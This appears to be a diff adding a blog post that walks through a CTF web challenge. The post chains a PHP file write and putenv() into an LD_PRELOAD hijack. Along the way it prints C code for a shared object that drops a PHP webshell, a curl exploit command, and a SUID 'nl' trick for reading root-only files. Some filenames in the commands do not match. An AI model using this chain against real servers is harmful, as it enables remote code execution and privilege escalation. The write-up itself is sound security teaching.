|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: "Qiangwang Quals - Smallcode" |
| 4 | +categories: [web, writeups , CTF] |
| 5 | +tags: [unauth file write,environment poisioning,hijacking] |
| 6 | +date: 2025-10-28 |
| 7 | +media_subpath: /assets/img/QiangQuals |
| 8 | +--- |
| 9 | +# QIANGWANG Quals Smallcode - Writeup |
| 10 | + |
| 11 | +Last week, I participated in the QIANGWANG INTERNATIONAL QUALIFIER CTF and focused on the web challenges. In this writeup, I'll walk through my solution for the "SmallCode" task. |
| 12 | + |
| 13 | + |
| 14 | +### Overview |
| 15 | + |
| 16 | +This PHP snippet is the challenge source. It prints its own source, accepts two POST fields (`context` and `env`), writes decoded data to a file, sets an environment variable, and runs a background `wget`. It's short but has multiple risky behaviors that make it interesting for a CTF. |
| 17 | + |
| 18 | +```php |
| 19 | +<?php |
| 20 | + highlight_file(__FILE__); |
| 21 | + if(isset($_POST['context'])){ |
| 22 | + $context = $_POST['context']; |
| 23 | + file_put_contents("1.txt",base64_decode($context)); |
| 24 | + } |
| 25 | + |
| 26 | + if(isset($_POST['env'])){ |
| 27 | + $env = $_POST['env']; |
| 28 | + putenv($env); |
| 29 | + } |
| 30 | + system("nohup wget --content-disposition -N hhhh &"); |
| 31 | + |
| 32 | +?> |
| 33 | +``` |
| 34 | + |
| 35 | +Line-by-line (concise) |
| 36 | +- **highlight_file(__FILE__)**: prints the PHP source to the browser — information disclosure. |
| 37 | +- **if(isset($_POST['context'])) { ... }**: if `context` is provided, it is read and processed. |
| 38 | +- **file_put_contents("1.txt", base64_decode($context))**: base64-decodes the POST body and writes it to 1.txt (no validation or sanitization). |
| 39 | +- **if(isset($_POST['env'])) { ... }**: accepts an `env` POST value. |
| 40 | +- **putenv($env)**: sets the process environment with the provided string. |
| 41 | +- **system("nohup wget --content-disposition -N hhhh &");**: runs wget in the background. |
| 42 | + |
| 43 | + |
| 44 | +### My Mindset ; How I Thought It Through |
| 45 | + |
| 46 | +> **"If I control the bytes, I control the file. If I control the file, I control the loader."** |
| 47 | +
|
| 48 | +#### Step-by-Step Reasoning: |
| 49 | +1. **"Can I write non-text?"** → Yes. `base64_decode` → raw bytes. |
| 50 | +2. **"Does `.txt` stop ELF?"** → No. Linux ignores extensions. |
| 51 | +3. **"Can I make a valid `.so`?"** → Yes. Use `gcc -shared -fPIC`. |
| 52 | +4. **"Will it load?"** → Yes , if `LD_PRELOAD` points to it. |
| 53 | + |
| 54 | +--- |
| 55 | + |
| 56 | + |
| 57 | +### Exploitation |
| 58 | + |
| 59 | +### Chaining an unauthenticated file write + environment poisoning -> LD_PRELOAD hijack |
| 60 | + |
| 61 | +We can write anything into 1.txt - no checks, no filters, no mercy. Linux doesn’t care about the .txt extension; it only sees the magic bytes. So we craft a fully valid ELF shared object (.so) with a sneaky ```__attribute__((constructor))``` payload, compile it, base64-encode it, and upload it as 1.txt. Then, using ```LD_PRELOAD=/var/www/html/1.txt```, we force the dynamic linker to load our library first on the next process spawn. The constructor fires instantly - shell dropped, game over. |
| 62 | + |
| 63 | + |
| 64 | + |
| 65 | +#### 1) Unauthenticated file write (file_put_contents) |
| 66 | +```php |
| 67 | +if(isset($_POST['context'])){ |
| 68 | + $context = $_POST['context']; |
| 69 | + file_put_contents("1.txt", base64_decode($context)); |
| 70 | +} |
| 71 | +``` |
| 72 | +In this step, we utilize the arbitrary file write capability to upload a specially crafted **shared object** (.so) disguised as 1.txt. The object contains a constructor function that executes automatically upon loading. |
| 73 | +```c |
| 74 | +#include <stdio.h> |
| 75 | +#include <stdlib.h> |
| 76 | + |
| 77 | +__attribute__((constructor)) |
| 78 | +void init() { |
| 79 | + FILE *fp = fopen("/var/www/html/2.php", "w"); |
| 80 | + if (fp) { |
| 81 | + fprintf(fp, "<?php system($_GET['c']); ?>"); |
| 82 | + fclose(fp); |
| 83 | + } |
| 84 | +} |
| 85 | +``` |
| 86 | +We'll compile it like this : |
| 87 | +```bash |
| 88 | +gcc -fPIC -shared -o tou.so evil.c -Wl,-z,max-page-size=0x1000 |
| 89 | +``` |
| 90 | +Then we will base64 encode the content of the 1.txt : |
| 91 | +```bash |
| 92 | +base64 -w 0 tou.s > payload.b64 |
| 93 | +``` |
| 94 | +Et Voilà We generated our malicious **shared object**. |
| 95 | + |
| 96 | +#### 2) Environment poisoning (putenv) |
| 97 | +```php |
| 98 | +if(isset($_POST['env'])){ |
| 99 | + $env = $_POST['env']; |
| 100 | + putenv($env); |
| 101 | +} |
| 102 | +``` |
| 103 | +The `putenv($_POST['env'])` line is **pure PHP chaos** , it’s like giving a toddler a Sharpie and saying, *"Go draw on the environment variables!"* No checks, no filters, just **blind trust**. One `POST` and *boom* - your `LD_PRELOAD` is now the boss of `ld.so`. It’s not a bug… it’s a **backdoor with a welcome mat**. |
| 104 | + |
| 105 | +> *“Trusting user input for `putenv()`? That’s not a feature. That’s **root via friendship**.”* |
| 106 | +
|
| 107 | +**We exploit it like this:** |
| 108 | +```bash |
| 109 | +env=LD_PRELOAD=/var/www/html/1.txt |
| 110 | +``` |
| 111 | + |
| 112 | +> → **Me:** “Hey linker, load **my** library first, (malicious payload)” |
| 113 | +> → **`wget` starts** |
| 114 | +> → **`ld.so` reads env** |
| 115 | +> → **Our `.so` wins the race** |
| 116 | +> → **Constructor pops shell** |
| 117 | +
|
| 118 | +### TL;DR - What is `LD_PRELOAD`? |
| 119 | + **`LD_PRELOAD` is an environment variable that tells the Linux dynamic linker (`ld.so`) to load your chosen shared library **before** any other library — even system ones like `libc`.** |
| 120 | +> It’s meant for debugging or patching, but **if you control it**, you control what code runs when a program starts. |
| 121 | +
|
| 122 | + |
| 123 | +## Chaining All Bugs to Drop a Webshell |
| 124 | + |
| 125 | +We start by uploading our malicious `.so` file as `/var/www/html/1.txt` using the file write, then we set `LD_PRELOAD` via the `env` parameter with `env=LD_PRELOAD=/var/www/html/1.txt`, then the background wget runs, then it loads our `.so` because of `LD_PRELOAD`, and finally, our constructor runs and drops the webshell as `2.php` in `/var/www/html`. |
| 126 | + |
| 127 | +```bash |
| 128 | + curl -X POST --data-urlencode "context=$(cat tou.b64)" -d "env=LD_PRELOAD=/var/www/html/1.txt" http://127.0.0.1 |
| 129 | +``` |
| 130 | + |
| 131 | + |
| 132 | + |
| 133 | +## Shell Access |
| 134 | + |
| 135 | +After chaining the exploit, we visit [`http://127.0.0.1/2.php?c=ls`](http://127.0.0.1/2.php?c=ls) to confirm our webshell upload: |
| 136 | + |
| 137 | + |
| 138 | + |
| 139 | +**Success!** Our webshell is live — time to hunt for the flag. |
| 140 | + |
| 141 | +--- |
| 142 | + |
| 143 | +### Flag Discovery |
| 144 | + |
| 145 | +We quickly spot `/flag.txt` in the root directory. But a simple `cat /flag.txt` returns... nothing: |
| 146 | + |
| 147 | + |
| 148 | + |
| 149 | +Let's dig deeper with `ls -la /flag.txt`: |
| 150 | + |
| 151 | + |
| 152 | + |
| 153 | +**Result:** |
| 154 | +The flag file is owned by `root` and only readable by `root`. Our shell runs as `www-data`, so direct access is blocked. |
| 155 | + |
| 156 | + |
| 157 | + |
| 158 | + |
| 159 | + |
| 160 | +## Next Steps: Privilege Escalation |
| 161 | + |
| 162 | +Our webshell is active, but `/flag.txt` is only accessible by the `root` user. To read the flag, we need to escalate our privileges from `www-data` to `root`. Time to level up! |
| 163 | + |
| 164 | +### Searching for SUID Binaries |
| 165 | + |
| 166 | +We can look for SUID binaries, which are files that run with root privileges, using the following command: |
| 167 | + |
| 168 | +```bash |
| 169 | +find / -type f -user root -perm /4000 2>/dev/null |
| 170 | +``` |
| 171 | + |
| 172 | +This command lists all files owned by root with the SUID bit set. It's like searching for hidden treasure ; except the loot is root access. |
| 173 | + |
| 174 | + |
| 175 | + |
| 176 | +### Using GTFOBins |
| 177 | + |
| 178 | +[GTFOBins](https://gtfobins.github.io/) is a resource that documents ways to exploit common binaries for privilege escalation. After checking the list (and resisting the urge to shout "GTFO!"), we find that the `nl` binary can be used to read files as root. |
| 179 | + |
| 180 | + |
| 181 | + |
| 182 | +### Reading the Flag |
| 183 | + |
| 184 | +We use the following command to read the flag file: |
| 185 | + |
| 186 | +```bash |
| 187 | +LFILE=/flag.txt; nl -bn -w1 -s '' $LFILE |
| 188 | +``` |
| 189 | + |
| 190 | +Since `nl` is a SUID root binary, it allows us to read the contents of `/flag.txt`. Who knew line numbers could be so powerful? |
| 191 | + |
| 192 | + |
| 193 | + |
| 194 | +**Flag:** |
| 195 | +`flag{fake_flag_for_testing}` |
| 196 | + |
| 197 | +--- |
| 198 | + |
| 199 | +## Conclusion |
| 200 | + |
| 201 | +This challenge demonstrated how to chain vulnerabilities for remote code execution and privilege escalation. By leveraging file write, environment variable manipulation, and SUID binaries, we were able to obtain the flag. Thanks to the organizers for providing an interesting and educational challenge. |
| 202 | + |
| 203 | +**Difficulty:** ★★☆☆☆ |
| 204 | + |
| 205 | +**Fun Factor:** ★★★☆☆ |
| 206 | + |
| 207 | +Looking forward to future challenges, may your bugs be plentiful and your flags easy to find! |
| 208 | + |
0 commit comments